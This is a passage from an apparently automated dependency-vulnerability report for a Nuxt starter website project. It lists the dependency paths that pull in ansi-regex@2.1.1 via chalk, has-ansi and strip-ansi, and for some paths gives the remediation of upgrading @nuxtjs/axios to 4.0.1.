  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
